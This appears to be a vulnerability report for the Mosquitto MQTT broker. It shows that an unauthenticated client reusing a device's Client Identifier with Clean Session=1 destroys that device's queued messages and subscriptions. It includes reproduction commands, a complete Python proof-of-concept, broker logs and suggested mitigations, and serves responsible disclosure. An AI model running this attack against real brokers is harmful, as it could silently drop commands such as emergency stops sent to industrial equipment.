Summary
A client connecting with a known Client Identifier and Clean Session = 1 will destroy the existing persistent session for that identifier — including all stored subscriptions and queued QoS 1/2 messages. No authentication is required.
Affected Version
- Mosquitto 2.1.2 (Docker
eclipse-mosquitto:2)
- MQTT v3.1.1
- Test client: paho-mqtt 2.1.0, Python 3.13
Broker Config
listener 1883
allow_anonymous true
Steps to Reproduce
1. Device establishes a persistent session and subscribes:
mosquitto_sub -h localhost -t "factory/plc/cmd" -q 1 -i "plc-main-01" -c -C 0
# Ctrl+C to disconnect. Session stays on the broker.
2. Messages are published while the device is offline:
mosquitto_pub -h localhost -t "factory/plc/cmd" -q 1 -m '{"seq":1,"cmd":"read_register"}'
mosquitto_pub -h localhost -t "factory/plc/cmd" -q 1 -m '{"seq":2,"cmd":"write_coil"}'
mosquitto_pub -h localhost -t "factory/plc/cmd" -q 1 -m '{"seq":3,"cmd":"emergency_stop"}'
3. Another client connects with the same Client Identifier and Clean Session=1:
mosquitto_sub -h localhost -t "#" -i "plc-main-01" -C 0
# (no -c flag = Clean Session=1)
# Ctrl+C immediately.
4. Device reconnects:
mosquitto_sub -h localhost -t "factory/plc/cmd" -q 1 -i "plc-main-01" -c -v
Without step 3, the device gets all 3 queued messages. After step 3, it gets nothing — Session Present = 0.
PoC Script
Runs both a control test (no spoofed CONNECT) and the attack, then compares results.
#!/usr/bin/env python3
"""
PoC: Clean Session=1 session state destruction.
Tested against Eclipse Mosquitto 2.1.2.
"""
import json
import threading
import time
import paho.mqtt.client as mqtt
from paho.mqtt.enums import CallbackAPIVersion
CBV1 = CallbackAPIVersion.VERSION1
VICTIM_ID = "plc-main-01"
TOPIC = "factory/plc/cmd"
QOS = 1
def establish_persistent_session(host, port):
# Clear any leftover state first.
c = mqtt.Client(CBV1, client_id=VICTIM_ID,
protocol=mqtt.MQTTv311, clean_session=True)
c.connect(host, port)
c.loop_start()
time.sleep(0.5)
c.disconnect()
c.loop_stop()
time.sleep(0.5)
# Create persistent session and subscribe.
c = mqtt.Client(CBV1, client_id=VICTIM_ID,
protocol=mqtt.MQTTv311, clean_session=False)
ready = threading.Event()
c.on_subscribe = lambda *_: ready.set()
c.connect(host, port)
c.loop_start()
c.subscribe(TOPIC, qos=QOS)
ready.wait(timeout=3)
print(f"[+] Device '{VICTIM_ID}' subscribed to '{TOPIC}' (QoS {QOS})")
c.disconnect()
c.loop_stop()
time.sleep(1)
print(f"[+] Device disconnected. Session stored on broker.")
def publish_while_offline(host, port):
messages = [
{"seq": 1, "cmd": "read_register", "addr": 40001},
{"seq": 2, "cmd": "write_coil", "addr": 100, "value": True},
{"seq": 3, "cmd": "emergency_stop"},
]
pub = mqtt.Client(CBV1, client_id="publisher",
protocol=mqtt.MQTTv311)
pub.connect(host, port)
pub.loop_start()
time.sleep(0.3)
for m in messages:
pub.publish(TOPIC, json.dumps(m), qos=QOS)
time.sleep(0.1)
pub.disconnect()
pub.loop_stop()
time.sleep(1)
print(f"[+] Published {len(messages)} QoS 1 messages while device offline.")
return len(messages)
def spoofed_connect(host, port):
connack_info = {}
def on_connect(client, userdata, flags, rc):
sp = flags.get("session present", 0) if isinstance(flags, dict) else flags
connack_info["session_present"] = sp
attacker = mqtt.Client(CBV1, client_id=VICTIM_ID,
protocol=mqtt.MQTTv311, clean_session=True)
attacker.on_connect = on_connect
attacker.connect(host, port)
attacker.loop_start()
time.sleep(1)
attacker.disconnect()
attacker.loop_stop()
time.sleep(1)
print(f"[!] Spoofed CONNECT as '{VICTIM_ID}' with Clean Session=1")
print(f"[!] CONNACK Session Present = {connack_info.get('session_present', '?')}")
def device_reconnect(host, port, expected_count):
received = []
done = threading.Event()
connack_info = {}
def on_connect(client, userdata, flags, rc):
sp = flags.get("session present", 0) if isinstance(flags, dict) else flags
connack_info["session_present"] = sp
def on_message(client, userdata, msg):
received.append(msg.payload.decode())
if len(received) >= expected_count:
done.set()
dev = mqtt.Client(CBV1, client_id=VICTIM_ID,
protocol=mqtt.MQTTv311, clean_session=False)
dev.on_connect = on_connect
dev.on_message = on_message
dev.connect(host, port)
dev.loop_start()
done.wait(timeout=5)
dev.disconnect()
dev.loop_stop()
sp = connack_info.get("session_present", "?")
print(f"\n--- Reconnect Result ---")
print(f" CONNACK Session Present : {sp}")
print(f" Messages received : {len(received)} / {expected_count}")
for i, m in enumerate(received):
print(f" [{i+1}] {m}")
return len(received), sp
def run_test(host, port, with_attack):
label = "WITH SPOOFED CONNECT" if with_attack else "CONTROL (no attack)"
print(f"\n{'='*60}")
print(f" {label}")
print(f"{'='*60}")
establish_persistent_session(host, port)
count = publish_while_offline(host, port)
if with_attack:
spoofed_connect(host, port)
received, sp = device_reconnect(host, port, count)
return received, sp, count
if __name__ == "__main__":
HOST, PORT = "localhost", 1883
ctrl_recv, ctrl_sp, ctrl_total = run_test(HOST, PORT, with_attack=False)
atk_recv, atk_sp, atk_total = run_test(HOST, PORT, with_attack=True)
print(f"\n{'='*60}")
print(f" SUMMARY")
print(f"{'='*60}")
print(f" Control : Session Present={ctrl_sp}, "
f"received {ctrl_recv}/{ctrl_total}")
print(f" Attack : Session Present={atk_sp}, "
f"received {atk_recv}/{atk_total}")
if ctrl_recv == ctrl_total and atk_recv == 0:
print(f"\n [CONFIRMED] Spoofed CONNECT destroyed all session state.")
Broker Logs
Full unedited docker logs mqtt-broker output. Broker config: log_type all, connection_messages true.
Control group — no spoofed CONNECT, messages delivered normally:
1774619886: New connection from 172.17.0.1:42912 on port 1883.
1774619886: New client connected from 172.17.0.1:42912 as plc-main-01 (p4, c1, k60).
1774619886: No will message specified.
1774619886: Sending CONNACK to plc-main-01 (0, 0)
1774619886: Received DISCONNECT from plc-main-01
1774619886: Client plc-main-01 [172.17.0.1:42912] disconnected.
1774619887: New connection from 172.17.0.1:42920 on port 1883.
1774619887: New client connected from 172.17.0.1:42920 as plc-main-01 (p4, c0, k60).
1774619887: No will message specified.
1774619887: Sending CONNACK to plc-main-01 (0, 0)
1774619887: Received SUBSCRIBE from plc-main-01
1774619887: factory/plc/cmd (QoS 1)
1774619887: plc-main-01 1 factory/plc/cmd
1774619887: Sending SUBACK to plc-main-01
1774619887: Received DISCONNECT from plc-main-01
1774619887: Client plc-main-01 [172.17.0.1:42920] disconnected.
1774619888: New connection from 172.17.0.1:42934 on port 1883.
1774619888: New client connected from 172.17.0.1:42934 as msg-publisher (p4, c1, k60).
1774619888: No will message specified.
1774619888: Sending CONNACK to msg-publisher (0, 0)
1774619888: Received PUBLISH from msg-publisher (d0, q1, r0, m1, 'factory/plc/cmd', ... (49 bytes))
1774619888: Sending PUBACK to msg-publisher (m1, rc0)
1774619888: Received PUBLISH from msg-publisher (d0, q1, r0, m2, 'factory/plc/cmd', ... (59 bytes))
1774619888: Sending PUBACK to msg-publisher (m2, rc0)
1774619888: Received PUBLISH from msg-publisher (d0, q1, r0, m3, 'factory/plc/cmd', ... (35 bytes))
1774619888: Sending PUBACK to msg-publisher (m3, rc0)
1774619888: Received DISCONNECT from msg-publisher
1774619888: Client msg-publisher [172.17.0.1:42934] disconnected.
1774619889: New connection from 172.17.0.1:42940 on port 1883.
1774619889: Client plc-main-01 [172.17.0.1:42920] disconnected: session taken over.
1774619889: New client connected from 172.17.0.1:42940 as plc-main-01 (p4, c0, k60).
1774619889: No will message specified.
1774619889: Sending CONNACK to plc-main-01 (1, 0)
1774619889: Sending PUBLISH to plc-main-01 (d0, q1, r0, m1, 'factory/plc/cmd', ... (49 bytes))
1774619889: Sending PUBLISH to plc-main-01 (d0, q1, r0, m2, 'factory/plc/cmd', ... (59 bytes))
1774619889: Sending PUBLISH to plc-main-01 (d0, q1, r0, m3, 'factory/plc/cmd', ... (35 bytes))
1774619889: Received PUBACK from plc-main-01 (Mid: 1, RC:0)
1774619889: Received PUBACK from plc-main-01 (Mid: 2, RC:0)
1774619889: Received PUBACK from plc-main-01 (Mid: 3, RC:0)
1774619889: Received DISCONNECT from plc-main-01
1774619889: Client plc-main-01 [172.17.0.1:42940] disconnected.
Attack group — spoofed CONNECT destroys session, messages lost:
1774619889: New connection from 172.17.0.1:42946 on port 1883.
1774619889: Client plc-main-01 [172.17.0.1:42940] disconnected: session taken over.
1774619889: New client connected from 172.17.0.1:42946 as plc-main-01 (p4, c1, k60).
1774619889: No will message specified.
1774619889: Sending CONNACK to plc-main-01 (0, 0)
1774619890: Received DISCONNECT from plc-main-01
1774619890: Client plc-main-01 [172.17.0.1:42946] disconnected.
1774619890: New connection from 172.17.0.1:42950 on port 1883.
1774619890: New client connected from 172.17.0.1:42950 as plc-main-01 (p4, c0, k60).
1774619890: No will message specified.
1774619890: Sending CONNACK to plc-main-01 (0, 0)
1774619890: Received SUBSCRIBE from plc-main-01
1774619890: factory/plc/cmd (QoS 1)
1774619890: plc-main-01 1 factory/plc/cmd
1774619890: Sending SUBACK to plc-main-01
1774619890: Received DISCONNECT from plc-main-01
1774619890: Client plc-main-01 [172.17.0.1:42950] disconnected.
1774619891: New connection from 172.17.0.1:42956 on port 1883.
1774619891: New client connected from 172.17.0.1:42956 as msg-publisher (p4, c1, k60).
1774619891: No will message specified.
1774619891: Sending CONNACK to msg-publisher (0, 0)
1774619891: Received PUBLISH from msg-publisher (d0, q1, r0, m1, 'factory/plc/cmd', ... (49 bytes))
1774619891: Sending PUBACK to msg-publisher (m1, rc0)
1774619891: Received PUBLISH from msg-publisher (d0, q1, r0, m2, 'factory/plc/cmd', ... (59 bytes))
1774619891: Sending PUBACK to msg-publisher (m2, rc0)
1774619891: Received PUBLISH from msg-publisher (d0, q1, r0, m3, 'factory/plc/cmd', ... (35 bytes))
1774619891: Sending PUBACK to msg-publisher (m3, rc0)
1774619892: Received DISCONNECT from msg-publisher
1774619892: Client msg-publisher [172.17.0.1:42956] disconnected.
1774619892: New connection from 172.17.0.1:42970 on port 1883.
1774619892: Client plc-main-01 [172.17.0.1:42950] disconnected: session taken over.
1774619892: New client connected from 172.17.0.1:42970 as plc-main-01 (p4, c1, k60).
1774619892: No will message specified.
1774619892: Sending CONNACK to plc-main-01 (0, 0)
1774619893: Received DISCONNECT from plc-main-01
1774619893: Client plc-main-01 [172.17.0.1:42970] disconnected.
1774619894: New connection from 172.17.0.1:33028 on port 1883.
1774619894: New client connected from 172.17.0.1:33028 as plc-main-01 (p4, c0, k60).
1774619894: No will message specified.
1774619894: Sending CONNACK to plc-main-01 (0, 0)
1774619899: Received DISCONNECT from plc-main-01
1774619899: Client plc-main-01 [172.17.0.1:33028] disconnected.
Key lines to compare:
|
Control |
After spoofed CONNECT |
| Device reconnect |
Sending CONNACK to plc-main-01 (1, 0) |
Sending CONNACK to plc-main-01 (0, 0) |
| Queued messages |
3 × Sending PUBLISH to plc-main-01 |
(none) |
Impact
- All stored subscriptions and queued QoS 1/2 messages for the target Client Identifier are permanently destroyed.
- The device reconnects to an empty session with no indication of what happened.
- Cost to the attacker: one TCP connection, one CONNECT packet.
Prior Art
The MQTT 5.0 spec acknowledges this risk in §5.4.2:
"In particular, the implementation should check that the Client is authorized to use the Client Identifier as this gives access to the MQTT Session State. This authorization check is to protect against the case where one Client, accidentally or maliciously, provides a Client Identifier that is already being used by some other Client."
Possible Mitigation
- When authentication is enabled, bind Client Identifier ownership to the authenticated identity (reject CONNECT if the identifier belongs to a session created by a different user).
- Add a config option like
require_clientid_match_username true for backward compatibility.
Happy to provide additional details if needed.
Summary
A client connecting with a known Client Identifier and
Clean Session = 1will destroy the existing persistent session for that identifier — including all stored subscriptions and queued QoS 1/2 messages. No authentication is required.Affected Version
eclipse-mosquitto:2)Broker Config
Steps to Reproduce
1. Device establishes a persistent session and subscribes:
2. Messages are published while the device is offline:
3. Another client connects with the same Client Identifier and Clean Session=1:
4. Device reconnects:
Without step 3, the device gets all 3 queued messages. After step 3, it gets nothing —
Session Present = 0.PoC Script
Runs both a control test (no spoofed CONNECT) and the attack, then compares results.
Broker Logs
Full unedited
docker logs mqtt-brokeroutput. Broker config:log_type all,connection_messages true.Control group — no spoofed CONNECT, messages delivered normally:
Attack group — spoofed CONNECT destroys session, messages lost:
Key lines to compare:
Sending CONNACK to plc-main-01 (1, 0)Sending CONNACK to plc-main-01 (0, 0)Sending PUBLISH to plc-main-01Impact
Prior Art
The MQTT 5.0 spec acknowledges this risk in §5.4.2:
Possible Mitigation
require_clientid_match_username truefor backward compatibility.Happy to provide additional details if needed.